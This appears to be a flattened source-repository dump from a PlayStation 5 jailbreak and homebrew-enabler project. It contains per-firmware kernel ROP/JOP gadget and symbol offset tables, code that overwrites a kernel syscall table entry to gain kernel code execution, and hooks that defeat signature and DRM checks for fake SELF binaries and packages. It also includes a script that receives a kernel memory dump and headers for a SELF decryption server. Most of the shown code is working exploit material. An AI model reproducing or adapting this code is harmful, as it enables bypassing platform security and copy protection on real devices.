HOOK_FPKG_SCE_SBL_PFS_CLEAR_KEY_1_CALL_SCE_SBL_SERVICE_MAILBOX, 19 | HOOK_FPKG_SCE_SBL_PFS_CLEAR_KEY_2_CALL_SCE_SBL_SERVICE_MAILBOX, 20 | HOOK_FPKG_SCE_SBL_SERVICE_CRYPT_ASYNC_CALL_CCP_MSG_ENQUEUE, 21 | HOOK_TEST_DIGEST_CHECK, 22 | HOOK_MAX 23 | }; 24 | 25 | struct hook 26 | { 27 | enum hook_id id; 28 | uint64_t call_offset; 29 | uint64_t orig_func_offset; 30 | }; 31 | 32 | int install_raw_hook(uint64_t call_addr, void *func); 33 | int install_hook(hook_id id, void *func); 34 | void reset_hook(hook_id id); 35 | int apply_test_hook(); 36 | 37 | #endif // HOOK_H -------------------------------------------------------------------------------- /hen/link.x: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf64-x86-64") 2 | OUTPUT_ARCH(i386:x86-64) 3 | 4 | ENTRY(_start) 5 | 6 | PHDRS 7 | { 8 | /* 9 | * PF_X = 0x1 10 | * PF_W = 0x2 11 | * PF_R = 0x4 12 | */ 13 | 14 | ph_text PT_LOAD FLAGS (0x1 | 0x4); 15 | ph_relro PT_LOAD FLAGS (0x4); 16 | ph_data PT_LOAD FLAGS (0x2 | 0x4); 17 | ph_dyn PT_DYNAMIC FLAGS(0x2 | 0x4); 18 | } 19 | 20 | SECTIONS 21 | { 22 | __payload_base = .; 23 | 24 | .text : 25 | { 26 | KEEP (*(.init)) 27 | KEEP (*(.fini)) 28 | 29 | *(.text.prologue); 30 | *(.text .text.*) 31 | 32 | . = ALIGN(4); 33 | } : ph_text = 0x90909090 34 | 35 | .rodata : 36 | { 37 | *(.rodata .rodata.*) 38 | } 39 | 40 | .eh_frame : 41 | { 42 | *(.eh_frame.*) 43 | } 44 | 45 | . = ALIGN(0x4000); 46 | 47 | .data.rel.ro : 48 | { 49 | *(.data.rel.ro .data.rel.ro.*) 50 | } : ph_relro 51 | 52 | .rela : 53 | { 54 | *(.rela *.rela.*) 55 | 56 | . = ALIGN(4); 57 | } 58 | 59 | . = ALIGN(0x4000); 60 | 61 | .data : 62 | { 63 | *(.data .data.*) 64 | 65 | . = ALIGN(0x10); 66 | 67 | __imports_start = .; 68 | KEEP(*(.imports .imports.*)) 69 | __imports_end = .; 70 | 71 | __patches_start = .; 72 | KEEP(*(.patches .patches.*)) 73 | QUAD(0); BYTE(0); BYTE(0); 74 | __patches_end = .; 75 | 76 | __bss_start = .; 77 | *(.bss .bss.*) *(COMMON) 78 | __bss_end = .; 79 | 80 | . = . + 4; 81 | . = ALIGN(4); 82 | } : ph_data 83 | } -------------------------------------------------------------------------------- /_old_jump_table_exploit/dump_kernel.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import time 4 | 5 | # Console info 6 | CONSOLE_IP = "10.0.0.217" 7 | CONSOLE_PORT = 9003 8 | 9 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 10 | s.connect((CONSOLE_IP, CONSOLE_PORT)) 11 | 12 | dump_data = bytearray() 13 | first_packet_recv = False 14 | first_packet_time = time.monotonic() 15 | s.settimeout(60) 16 | while True: 17 | try: 18 | data = s.recv(0x1000) 19 | if not data: 20 | break 21 | if not first_packet_recv: 22 | first_packet_recv = True 23 | first_packet_time = time.monotonic() 24 | 25 | dump_data.extend(data) 26 | data_recv = len(dump_data) 27 | 28 | kbps = 0 29 | if first_packet_time != time.monotonic(): 30 | kbps = round(data_recv / (time.monotonic() - first_packet_time) / 1024) 31 | 32 | print("Received {} bytes ({} kb/s)...".format(data_recv, kbps)) 33 | 34 | # If data received has exceeded 200MB, exit for safety 35 | if len(dump_data) > 0xC800000: 36 | break 37 | except socket.timeout: 38 | print("Timeout reached for receiving data (1 min)") 39 | break 40 | 41 | dump_file = open("./kernel_dump.bin", "wb") 42 | dump_file.write(dump_data) 43 | dump_file.close() 44 | s.close() 45 | -------------------------------------------------------------------------------- /hen/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "fpkg.h" 4 | #include "fself.h" 5 | #include "hook.h" 6 | #include "kdlsym.h" 7 | #include "patch_shellcore.h" 8 | #include "util.h" 9 | 10 | struct args 11 | { 12 | uint64_t fptr; 13 | uint64_t fw; 14 | uint64_t kernel_base; 15 | }; 16 | 17 | extern "C" { 18 | int kernel_main(void *td, struct args *args); 19 | } 20 | 21 | /** 22 | * @brief The kernel sysent entrypoint 23 | * 24 | * @param td struct thread* The calling thread 25 | * @param args struct args* Syscall arguments 26 | * @return int 0 on success, error otherwise 27 | */ 28 | int kernel_main(void *td, struct args *args) 29 | { 30 | int ret; 31 | 32 | curthread = td; 33 | init_kdlsym(args->fw, args->kernel_base); 34 | 35 | // kdlsym assignments 36 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 37 | 38 | // Reset hooks before installing new ones 39 | printf("[HEN] Resetting hooks\n"); 40 | for (int i = 0; i < HOOK_MAX; i++) { 41 | reset_hook((hook_id) i); 42 | } 43 | 44 | // Install new hooks 45 | printf("[HEN] Applying test hook\n"); 46 | ret = apply_test_hook(); 47 | if (ret != 0) { 48 | printf("[HEN] Failed to apply test hook\n"); 49 | return -1; 50 | } 51 | 52 | printf("[HEN] Applying fself hooks\n"); 53 | apply_fself_hooks(); 54 | 55 | printf("[HEN] Applying fpkg hooks\n"); 56 | apply_fpkg_hooks(); 57 | 58 | printf("[HEN] Applying shellcore patches\n"); 59 | apply_shellcore_patches(); 60 | 61 | return 0; 62 | } -------------------------------------------------------------------------------- /hen/include/kdlsym.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef KDLSYM_H 3 | #define KDLSYM_H 4 | 5 | #include 6 | 7 | typedef enum { 8 | KERNEL_SYM_TEXT_END, 9 | KERNEL_SYM_DMPML4I, 10 | KERNEL_SYM_DMPDPI, 11 | KERNEL_SYM_PML4PML4I, 12 | KERNEL_SYM_PMAP_STORE, 13 | KERNEL_SYM_DATA_CAVE, 14 | KERNEL_SYM_PRINTF, 15 | KERNEL_SYM_SCESBLAUTHMGRISLOADABLE2, 16 | KERNEL_SYM_SCESBLAUTHMGRGETSELFINFO, 17 | KERNEL_SYM_SCESBLACMGRGETPATHID, 18 | KERNEL_SYM_M_TEMP, 19 | KERNEL_SYM_MALLOC, 20 | KERNEL_SYM_FREE, 21 | KERNEL_SYM_MINI_SYSCORE_BIN, 22 | KERNEL_SYM_SCESBLAUTHMGRVERIFYHEADER, 23 | KERNEL_SYM_SCESBLSERVICEMAILBOX, 24 | KERNEL_SYM_CTXTABLE_MTX, 25 | KERNEL_SYM_CTXSTATUS, 26 | KERNEL_SYM_CTXTABLE, 27 | KERNEL_SYM_MTX_LOCK_FLAGS, 28 | KERNEL_SYM_MTX_UNLOCK_FLAGS, 29 | KERNEL_SYM_RW_MEM, 30 | KERNEL_SYM_ALLPROC, 31 | KERNEL_SYM_VM_MAP_LOCK_READ, 32 | KERNEL_SYM_VM_MAP_UNLOCK_READ, 33 | KERNEL_SYM_VM_MAP_LOOKUP_ENTRY, 34 | KERNEL_SYM_BNET_CRYPTO_AES_CBC_CFB128_ENCRYPT, 35 | KERNEL_SYM_BNET_CRYPTO_AES_CBC_CFB128_DECRYPT, 36 | KERNEL_SYM_FPU_KERN_ENTER, 37 | KERNEL_SYM_FPU_KERN_LEAVE, 38 | KERNEL_SYM_LACACRYPTO_RSADPCRT_CORE, 39 | KERNEL_SYM_SHA256_HMAC, 40 | KERNEL_SYM_SCE_SBL_SERVICE_CRYPT_ASYNC, 41 | KERNEL_SYM_SCE_SBL_FINALIZE_CRYPT_ASYNC, 42 | KERNEL_SYM_MAX, 43 | } ksym_t; 44 | 45 | void init_kdlsym(uint64_t fw_ver, uint64_t kernel_base); 46 | uint64_t get_fw_version(); 47 | uint64_t kdlsym(ksym_t sym); 48 | uint64_t ktext(uint64_t offset); 49 | 50 | #endif // KDLSYM_H -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/offsets/2_00.h: -------------------------------------------------------------------------------- 1 | #ifndef OFFSETS_2_00_H 2 | #define OFFSETS_2_00_H 3 | 4 | uint64_t g_sym_map_200[] = { 5 | 0x4CB3B50, // KERNEL_SYM_DMPML4I 6 | 0x4CB3B54, // KERNEL_SYM_DMPDPI 7 | 0x4CB38AC, // KERNEL_SYM_PML4PML4I 8 | 0x248E7AC, // KERNEL_SYM_DATA_CAVE 9 | 0x4CB38C8, // KERNEL_SYM_PMAP_STORE 10 | 0x245BAB0, // KERNEL_SYM_HV_JMP_TABLE 11 | 0x248EB70, // KERNEL_SYM_HIJACKED_JMP_PTR 12 | }; 13 | 14 | uint64_t g_gadget_map_200[] = { 15 | 0x167241, // KERNEL_GADGET_RET 16 | 0x263BD1, // KERNEL_GADGET_INFLOOP 17 | 0xADF680, // KERNEL_GADGET_HYPERCALL_SET_CPUID_PS4 18 | 0xADFCEF, // KERNEL_GADGET_RETURN_ADDR 19 | 0x1A6878, // KERNEL_GADGET_POP_RDI 20 | 0x167430, // KERNEL_GADGET_POP_RSI 21 | 0x25C034, // KERNEL_GADGET_POP_RDX 22 | 0x1C34D0, // KERNEL_GADGET_POP_RAX 23 | 0x172C9F, // KERNEL_GADGET_POP_RBX 24 | 0x201F99, // KERNEL_GADGET_ADD_RAX_RDX 25 | 0x672787, // KERNEL_GADGET_MOV_R9_QWORD_PTR_RDI_48 26 | 0x62CC31, // KERNEL_GADGET_POP_R12 27 | 0x3B2A96, // KERNEL_GADGET_MOV_QWORD_PTR_RDI_RSI 28 | 0x20F3F0, // KERNEL_GADGET_POP_RSP 29 | 0x16B590, // KERNEL_GADGET_MOV_RAX_QWORD_PTR_RAX 30 | 0x16B737, // KERNEL_GADGET_MOV_QWORD_PTR_RAX_0 31 | 0x2488F0, // KERNEL_GADGET_SETJMP 32 | 0x248920, // KERNEL_GADGET_LONGJMP 33 | 0xB5C7BC, // KERNEL_GADGET_JOP1 34 | 0x21A5AB, // KERNEL_GADGET_JOP2 35 | }; 36 | 37 | #endif // OFFSETS_2_00_H -------------------------------------------------------------------------------- /_old_jump_table_exploit/include/offsets/2_50.h: -------------------------------------------------------------------------------- 1 | #ifndef OFFSETS_2_50_H 2 | #define OFFSETS_2_50_H 3 | 4 | uint64_t g_sym_map_250[] = { 5 | 0x4CB3B50, // KERNEL_SYM_DMPML4I 6 | 0x4CB3B54, // KERNEL_SYM_DMPDPI 7 | 0x4CB38AC, // KERNEL_SYM_PML4PML4I 8 | 0x248E7EC, // KERNEL_SYM_DATA_CAVE 9 | 0x4CB38C8, // KERNEL_SYM_PMAP_STORE 10 | 0x245BEE0, // KERNEL_SYM_HV_JMP_TABLE 11 | 0x248EBB0, // KERNEL_SYM_HIJACKED_JMP_PTR 12 | }; 13 | 14 | uint64_t g_gadget_map_250[] = { 15 | 0x167001, // KERNEL_GADGET_RET 16 | 0x16ADB2, // KERNEL_GADGET_INFLOOP 17 | 0xAE02D0, // KERNEL_GADGET_HYPERCALL_SET_CPUID_PS4 18 | 0xAE093F, // KERNEL_GADGET_RETURN_ADDR 19 | 0x1A6638, // KERNEL_GADGET_POP_RDI 20 | 0x1671F0, // KERNEL_GADGET_POP_RSI 21 | 0x2D79B8, // KERNEL_GADGET_POP_RDX 22 | 0x1C3290, // KERNEL_GADGET_POP_RAX 23 | 0x172A5F, // KERNEL_GADGET_POP_RBX 24 | 0x201D59, // KERNEL_GADGET_ADD_RAX_RDX 25 | 0x672D37, // KERNEL_GADGET_MOV_R9_QWORD_PTR_RDI_48 26 | 0x62D1A1, // KERNEL_GADGET_POP_R12 27 | 0x3B2906, // KERNEL_GADGET_MOV_QWORD_PTR_RDI_RSI 28 | 0x1C2858, // KERNEL_GADGET_POP_RSP 29 | 0x16B350, // KERNEL_GADGET_MOV_RAX_QWORD_PTR_RAX 30 | 0x16B4F7, // KERNEL_GADGET_MOV_QWORD_PTR_RAX_0 31 | 0x2486B0, // KERNEL_GADGET_SETJMP 32 | 0x2486E0, // KERNEL_GADGET_LONGJMP 33 | 0xB5D9AC, // KERNEL_GADGET_JOP1 34 | 0x21A36B, // KERNEL_GADGET_JOP2 35 | }; 36 | 37 | #endif // OFFSETS_2_50_H -------------------------------------------------------------------------------- /src/kexec.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | extern "C" { 7 | #include 8 | } 9 | 10 | #include "debug_log.h" 11 | #include "kdlsym.h" 12 | #include "kexec.h" 13 | #include "mirror.h" 14 | #include "util.h" 15 | 16 | void install_custom_syscall(int sysc, uint32_t num_args, uint64_t gadget) 17 | { 18 | void *sysent_mirror; 19 | struct sysent *entry; 20 | uint64_t ppr_sysent = kdlsym(KERNEL_SYM_PPR_SYSENT); 21 | uint64_t sysc_sysent_offset = sysc * sizeof(struct sysent); 22 | uint64_t target = ppr_sysent + sysc_sysent_offset; 23 | 24 | // Mirror sysent entry 25 | sysent_mirror = get_mirrored_addr(target); 26 | entry = (struct sysent *) sysent_mirror; 27 | 28 | SOCK_LOG("[+] prev sysent for syscall %d:\n", sysc); 29 | DumpHex(sysent_mirror, sizeof(struct sysent)); 30 | 31 | entry->n_arg = num_args; 32 | entry->sy_call = gadget; 33 | entry->sy_flags = 0; 34 | entry->sy_thrcnt = 1; 35 | 36 | SOCK_LOG("[+] cur sysent for syscall %d:\n", sysc); 37 | DumpHex(sysent_mirror, sizeof(struct sysent)); 38 | 39 | SOCK_LOG("[+] installed 0x%lx to 0x%lx (0x%lx)\n", gadget, target, sysc_sysent_offset); 40 | } 41 | 42 | void install_kexec() 43 | { 44 | install_custom_syscall(0x11, 2, kdlsym(KERNEL_SYM_GADGET_JMP_PTR_RSI)); 45 | } 46 | 47 | int kexec(uint64_t fptr) 48 | { 49 | // struct kexec_args args; 50 | 51 | // args.fptr = fptr; 52 | // args.fw = kernel_get_fw_version() & 0xFFFF0000; 53 | // args.kernel_base = ktext(0); 54 | 55 | return syscall(0x11, fptr, kernel_get_fw_version() & 0xFFFF0000, ktext(0)); 56 | } 57 | -------------------------------------------------------------------------------- /hen/src/fkeys.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Credit: sleirsgoevy 3 | * https://github.com/sleirsgoevy/ps4jb-payloads/blob/87f31afca6afc573d953e8343113c179a416e1b0/ps5-kstuff/uelf/fakekeys.c 4 | */ 5 | 6 | #include 7 | 8 | #include "fkeys.h" 9 | #include "util.h" 10 | 11 | struct key_area shared_area = {}; 12 | 13 | int register_fake_key(const char key_data[32]) 14 | { 15 | uint64_t mask, mask1; 16 | mask = __atomic_load_n(&shared_area.bitmask, __ATOMIC_ACQUIRE); 17 | do 18 | { 19 | mask1 = (mask | (mask + 1)) & ((1ull << 63) - 1); 20 | if(mask1 == mask) 21 | return -1; 22 | } 23 | while(!__atomic_compare_exchange_n(&shared_area.bitmask, &mask, mask1, 1, __ATOMIC_RELEASE, __ATOMIC_ACQUIRE)); 24 | int key_idx = 63 - __builtin_clzll(mask ^ mask1); 25 | memcpy(shared_area.key_data[key_idx], key_data, 32); 26 | return key_idx; 27 | } 28 | 29 | int unregister_fake_key(int key_id) 30 | { 31 | if(key_id < 0 || key_id >= 63) 32 | return 0; 33 | uint64_t mask, mask1; 34 | mask = __atomic_load_n(&shared_area.bitmask, __ATOMIC_ACQUIRE); 35 | do 36 | { 37 | if(!(mask & (1ull << key_id))) 38 | return 0; 39 | mask1 = mask & ~(1ull << key_id); 40 | } 41 | while(!__atomic_compare_exchange_n(&shared_area.bitmask, &mask, mask1, 1, __ATOMIC_RELEASE, __ATOMIC_ACQUIRE)); 42 | return 1; 43 | } 44 | 45 | int get_fake_key(int key_id, char key_data[32]) 46 | { 47 | if(key_id < 0 || key_id >= 63) 48 | return 0; 49 | uint64_t mask = __atomic_load_n(&shared_area.bitmask, __ATOMIC_ACQUIRE); 50 | if(!(mask & (1ull << key_id))) 51 | return 0; 52 | memcpy(key_data, shared_area.key_data[key_id], 32); 53 | return 1; 54 | } -------------------------------------------------------------------------------- /_old_jump_table_exploit/src/bump_alloc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "bump_alloc.h" 10 | #include "debug_log.h" 11 | 12 | char *g_bump_allocator_base = NULL; 13 | char *g_bump_allocator_cur; 14 | uint64_t g_bump_allocator_len; 15 | 16 | int bump_init(uint64_t len) 17 | { 18 | g_bump_allocator_len = len; 19 | g_bump_allocator_base = mmap(NULL, g_bump_allocator_len, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 20 | if (g_bump_allocator_base == MAP_FAILED) { 21 | SOCK_LOG("[!] failed to allocate backing memory for bump allocator\n"); 22 | return -ENOMEM; 23 | } 24 | 25 | g_bump_allocator_cur = g_bump_allocator_base; 26 | return 0; 27 | } 28 | 29 | void *bump_alloc(uint64_t len) 30 | { 31 | void *ptr; 32 | 33 | // Initialize bump allocator if its not already 34 | if (g_bump_allocator_base == NULL) { 35 | if (bump_init(BUMP_ALLOC_AREA_SIZE) != 0) 36 | return NULL; 37 | } 38 | 39 | // Check length doesn't exceed bounds of backing buffer 40 | if (g_bump_allocator_cur + len >= (g_bump_allocator_base + g_bump_allocator_len)) { 41 | return NULL; 42 | } 43 | 44 | // Allocate and increase cursor 45 | ptr = (void *) g_bump_allocator_cur; 46 | g_bump_allocator_cur += len; 47 | 48 | // Zero init to avoid stupid bugs 49 | (void)memset(ptr, 0, len); 50 | 51 | return ptr; 52 | } 53 | 54 | void *bump_calloc(uint64_t count, uint64_t len) 55 | { 56 | uint64_t total_len; 57 | 58 | total_len = count * len; 59 | return bump_alloc(total_len); 60 | } 61 | 62 | void bump_reset() 63 | { 64 | g_bump_allocator_cur = g_bump_allocator_base; 65 | } 66 | -------------------------------------------------------------------------------- /_old_jump_table_exploit/src/kdlsym.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "debug_log.h" 5 | #include "kdlsym.h" 6 | 7 | #include "offsets/2_00.h" 8 | #include "offsets/2_50.h" 9 | 10 | uint64_t g_fw_version; 11 | uint64_t g_kernel_base = 0; 12 | 13 | void init_kdlsym() 14 | { 15 | // Set firmware version 16 | g_fw_version = kernel_get_fw_version() & 0xFFFF0000; 17 | 18 | // Resolve symbols 19 | switch (g_fw_version) { 20 | case 0x2000000: 21 | case 0x2500000: 22 | g_kernel_base = KERNEL_ADDRESS_DATA_BASE - 0x1B80000; 23 | break; 24 | } 25 | } 26 | 27 | uint64_t ktext(uint64_t offset) 28 | { 29 | // Init kdlsym if it's not initialized already 30 | if (g_kernel_base == 0) 31 | init_kdlsym(); 32 | 33 | return g_kernel_base + offset; 34 | } 35 | 36 | uint64_t kdlsym(ksym_t sym) 37 | { 38 | // Init kdlsym if it's not initialized already 39 | if (g_kernel_base == 0) 40 | init_kdlsym(); 41 | 42 | // Don't overflow sym table 43 | if (sym >= KERNEL_SYM_MAX) 44 | return 0; 45 | 46 | switch (g_fw_version) { 47 | case 0x2000000: 48 | return g_kernel_base + g_sym_map_200[sym]; 49 | case 0x2500000: 50 | return g_kernel_base + g_sym_map_250[sym]; 51 | } 52 | 53 | return 0; 54 | } 55 | 56 | uint64_t kdlgadget(kgadget_t gadget) 57 | { 58 | // Init kdlsym if it's not initialized already 59 | if (g_kernel_base == 0) 60 | init_kdlsym(); 61 | 62 | // Don't overflow gadget table 63 | if (gadget >= KERNEL_GADGET_MAX) 64 | return 0; 65 | 66 | switch (g_fw_version) { 67 | case 0x2000000: 68 | return g_kernel_base + g_gadget_map_200[gadget]; 69 | case 0x2500000: 70 | return g_kernel_base + g_gadget_map_250[gadget]; 71 | } 72 | 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /hen/include/hooks/2_50.h: -------------------------------------------------------------------------------- 1 | #ifndef HOOKS_2_50_H 2 | #define HOOKS_2_50_H 3 | 4 | #include "hook.h" 5 | 6 | struct hook g_kernel_hooks_250[] = { 7 | { 8 | HOOK_TEST_SYS_IS_DEVELOPMENT_MODE, 9 | 0x92A1EB, 10 | 0x9B8350 11 | }, 12 | { 13 | HOOK_FSELF_SCE_SBL_AUTHMGR_IS_LOADABLE_CALL_IS_LOADABLE, 14 | 0x2913C1, 15 | 0x8C3800 16 | }, 17 | { 18 | HOOK_FSELF_SCE_SBL_AUTHMGR_AUTH_HEADER, 19 | 0x291B49, 20 | 0x8C3860 21 | }, 22 | { 23 | HOOK_FSELF_SCE_SBL_AUTHMGR_RESUME, 24 | 0x29296B, 25 | 0x8C3860 26 | }, 27 | { 28 | HOOK_FSELF_SCE_SBL_AUTHMGR_LOAD_SELF_SEGMENT, 29 | 0x32C735, 30 | 0x534220 31 | }, 32 | { 33 | HOOK_FSELF_SCE_SBL_AUTHMGR_LOAD_SELF_BLOCK, 34 | 0x32CC1F, 35 | 0x534220 36 | }, 37 | { 38 | HOOK_FSELF_SCE_SBL_AUTHMGR_LOAD_MULTIPLE_SELF_BLOCKS, 39 | 0x32D1C5, 40 | 0x534220 41 | }, 42 | { 43 | HOOK_FSELF_SCE_SBL_AUTHMGR_IS_LOADABLE_CALL_GET_PATHID, 44 | 0x2912AD, 45 | 0x580EE0 46 | }, 47 | { 48 | HOOK_FPKG_NPDRM_IOCTL_CMD_5_CALL_SCE_SBL_SERVICE_MAILBOX, 49 | 0x87E06C, 50 | 0x534220 51 | }, 52 | { 53 | HOOK_FPKG_NPDRM_IOCTL_CMD_6_CALL_SCE_SBL_SERVICE_MAILBOX, 54 | 0x87E311, 55 | 0x534220 56 | }, 57 | { 58 | HOOK_FPKG_PFS_VERIFY_SUPER_BLOCK_CALL_SCE_SBL_SERVICE_MAILBOX, 59 | 0x289F36, 60 | 0x534220 61 | }, 62 | { 63 | HOOK_FPKG_SCE_SBL_PFS_CLEAR_KEY_1_CALL_SCE_SBL_SERVICE_MAILBOX, 64 | 0x28995F, 65 | 0x534220 66 | }, 67 | { 68 | HOOK_FPKG_SCE_SBL_PFS_CLEAR_KEY_2_CALL_SCE_SBL_SERVICE_MAILBOX, 69 | 0x2899CB, 70 | 0x534220 71 | }, 72 | { 73 | HOOK_FPKG_SCE_SBL_SERVICE_CRYPT_ASYNC_CALL_CCP_MSG_ENQUEUE, 74 | 0x2E569D, 75 | 0x726700 76 | } 77 | }; 78 | 79 | #endif // HOOKS_2_50_H -------------------------------------------------------------------------------- /src/kdlsym.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | extern "C" 4 | { 5 | #include 6 | } 7 | 8 | #include "debug_log.h" 9 | #include "kdlsym.h" 10 | 11 | #include "offsets/1_05.h" 12 | #include "offsets/2_50.h" 13 | 14 | uint64_t g_fw_version; 15 | uint64_t g_kernel_base = 0; 16 | 17 | void init_kdlsym() 18 | { 19 | // Set firmware version 20 | g_fw_version = kernel_get_fw_version() & 0xFFFF0000; 21 | 22 | // Resolve symbols 23 | switch (g_fw_version) { 24 | case 0x1000000: 25 | case 0x1020000: 26 | case 0x1050000: 27 | case 0x1100000: 28 | case 0x1110000: 29 | case 0x1120000: 30 | case 0x1130000: 31 | case 0x1140000: 32 | g_kernel_base = KERNEL_ADDRESS_DATA_BASE - 0x1B40000; 33 | break; 34 | case 0x2000000: 35 | case 0x2200000: 36 | case 0x2250000: 37 | case 0x2260000: 38 | case 0x2300000: 39 | case 0x2500000: 40 | g_kernel_base = KERNEL_ADDRESS_DATA_BASE - 0x1B80000; 41 | break; 42 | } 43 | } 44 | 45 | uint64_t ktext(uint64_t offset) 46 | { 47 | // Init kdlsym if it's not initialized already 48 | if (g_kernel_base == 0) 49 | init_kdlsym(); 50 | 51 | return g_kernel_base + offset; 52 | } 53 | 54 | uint64_t kdlsym(ksym_t sym) 55 | { 56 | // Init kdlsym if it's not initialized already 57 | if (g_kernel_base == 0) 58 | init_kdlsym(); 59 | 60 | // Don't overflow sym table 61 | if (sym >= KERNEL_SYM_MAX) 62 | return 0; 63 | 64 | switch (g_fw_version) { 65 | case 0x1000000: 66 | case 0x1020000: 67 | case 0x1050000: 68 | case 0x1100000: 69 | case 0x1110000: 70 | case 0x1120000: 71 | case 0x1130000: 72 | case 0x1140000: 73 | return g_kernel_base + g_sym_map_105[sym]; 74 | case 0x2000000: 75 | case 0x2200000: 76 | case 0x2250000: 77 | case 0x2260000: 78 | case 0x2300000: 79 | case 0x2500000: 80 | return g_kernel_base + g_sym_map_250[sym]; 81 | } 82 | 83 | return 0; 84 | } 85 | -------------------------------------------------------------------------------- /hen/include/offsets/2_50.h: -------------------------------------------------------------------------------- 1 | #ifndef OFFSETS_2_50_H 2 | #define OFFSETS_2_50_H 3 | 4 | uint64_t g_sym_map_250[] = { 5 | 0x0B70000, // KERNEL_SYM_TEXT_END 6 | 0x4CB3B50, // KERNEL_SYM_DMPML4I 7 | 0x4CB3B54, // KERNEL_SYM_DMPDPI 8 | 0x4CB38AC, // KERNEL_SYM_PML4PML4I 9 | 0x4CB38C8, // KERNEL_SYM_PMAP_STORE 10 | 0x7C40000, // KERNEL_SYM_DATA_CAVE 11 | 0x0468560, // KERNEL_SYM_PRINTF 12 | 0x08C3800, // KERNEL_SYM_SCESBLAUTHMGRISLOADABLE2 13 | 0x08C43A0, // KERNEL_SYM_SCESBLAUTHMGRGETSELFINFO 14 | 0x0580EE0, // KERNEL_SYM_SCESBLACMGRGETPATHID 15 | 0x34D34B0, // KERNEL_SYM_M_TEMP 16 | 0x0AD20A0, // KERNEL_SYM_MALLOC 17 | 0x0AD22D0, // KERNEL_SYM_FREE 18 | 0x286E628, // KERNEL_SYM_MINI_SYSCORE_BIN 19 | 0x08C3860, // KERNEL_SYM_SCESBLAUTHMGRVERIFYHEADER 20 | 0x0534220, // KERNEL_SYM_SCESBLSERVICEMAILBOX 21 | 0x3910370, // KERNEL_SYM_CTXTABLE_MTX 22 | 0x3910390, // KERNEL_SYM_CTXSTATUS 23 | 0x39103A0, // KERNEL_SYM_CTXTABLE 24 | 0x047AE20, // KERNEL_SYM_MTX_LOCK_FLAGS 25 | 0x047B310, // KERNEL_SYM_MTX_UNLOCK_FLAGS 26 | 0x092A570, // KERNEL_SYM_RW_MEM 27 | 0x4281C28, // KERNEL_SYM_ALLPROC 28 | 0x02C39F0, // KERNEL_SYM_VM_MAP_LOCK_READ 29 | 0x02C3A30, // KERNEL_SYM_VM_MAP_UNLOCK_READ 30 | 0x02C3F00, // KERNEL_SYM_VM_MAP_LOOKUP_ENTRY 31 | 0x0575290, // KERNEL_SYM_BNET_CRYPTO_AES_CBC_CFB128_ENCRYPT 32 | 0x0575390, // KERNEL_SYM_BNET_CRYPTO_AES_CBC_CFB128_DECRYPT 33 | 0x067AA10, // KERNEL_SYM_FPU_KERN_ENTER 34 | 0x067AB40, // KERNEL_SYM_FPU_KERN_LEAVE 35 | 0x03CDAB0, // KERNEL_SYM_LACACRYPTO_RSADPCRT_CORE 36 | 0x0825D20, // KERNEL_SYM_SHA256_HMAC 37 | 0x02E5690, // KERNEL_SYM_SCE_SBL_SERVICE_CRYPT_ASYNC 38 | 0x07267C0, // KERNEL_SYM_SCE_SBL_FINALIZE_CRYPT_ASYNC 39 | }; 40 | 41 | #endif // OFFSETS_2_50_H -------------------------------------------------------------------------------- /include/self.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef SELF_H 3 | #define SELF_H 4 | 5 | #define SELF_PROSPERO_MAGIC 0xEEF51454 6 | 7 | /* 8 | * RPC stuff 9 | */ 10 | 11 | #define SELF_RPC_MAX_BUF_SIZE 1024 12 | 13 | struct self_rpc_ctrl_header { 14 | uint32_t cmd; 15 | uint32_t len; 16 | uint64_t status; 17 | }; 18 | 19 | // Ping is a simple command with no request or response data. 20 | #define SELF_CMD_PING 1 21 | 22 | // Die command kills the server, no request/response data. 23 | #define SELF_CMD_DIE 2 24 | 25 | // Get firmware command. No request/response data, fw is returned in status. 26 | #define SELF_CMD_GET_FW 3 27 | 28 | // Get dir selfs command gets a list of self files in a dir. Request is dir path, response is list of null-terminated strings. 29 | #define SELF_CMD_GET_DIR_SELFS 4 30 | 31 | // Decrypt self command. Request is file path, response is file data. 32 | #define SELF_CMD_DECRYPT_SELF 5 33 | 34 | // Copy file command. Request is file paths, no response data. 35 | #define SELF_CMD_COPY_FILE 6 36 | 37 | int run_self_server(int port); 38 | 39 | /* 40 | * SELF stuff 41 | */ 42 | 43 | struct sce_self_header 44 | { 45 | uint32_t magic; // 0x00 46 | uint8_t version; // 0x04 47 | uint8_t mode; // 0x05 48 | uint8_t endian; // 0x06 49 | uint8_t attributes; // 0x07 50 | uint32_t key_type; // 0x08 51 | uint16_t header_size; // 0x0C 52 | uint16_t metadata_size; // 0x0E 53 | uint64_t file_size; // 0x10 54 | uint16_t segment_count; // 0x18 55 | uint16_t flags; // 0x1A 56 | char pad_2[0x4]; // 0x1C 57 | }; // Size: 0x20 58 | 59 | struct sce_self_segment_header { 60 | uint64_t flags; // 0x00 61 | uint64_t offset; // 0x08 62 | uint64_t compressed_size; // 0x10 63 | uint64_t uncompressed_size; // 0x18 64 | }; // Size: 0x20 65 | 66 | int decrypt_self(char *path, char **out_data, int *out_size); 67 | int get_self_list(char *dir, char **out_buf, int *out_size); 68 | int copy_file(char *paths); 69 | 70 | #endif // SELF_H -------------------------------------------------------------------------------- /include/elf.h: -------------------------------------------------------------------------------- 1 | #ifndef ELF_H 2 | #define ELF_H 3 | 4 | #include 5 | 6 | #define EI_NIDENT 0x10 7 | #define PT_LOAD 0x01 8 | #define PT_NOTE 0x04 9 | 10 | typedef struct elf32_hdr { 11 | unsigned char e_ident[EI_NIDENT]; 12 | uint16_t e_type; 13 | uint16_t e_machine; 14 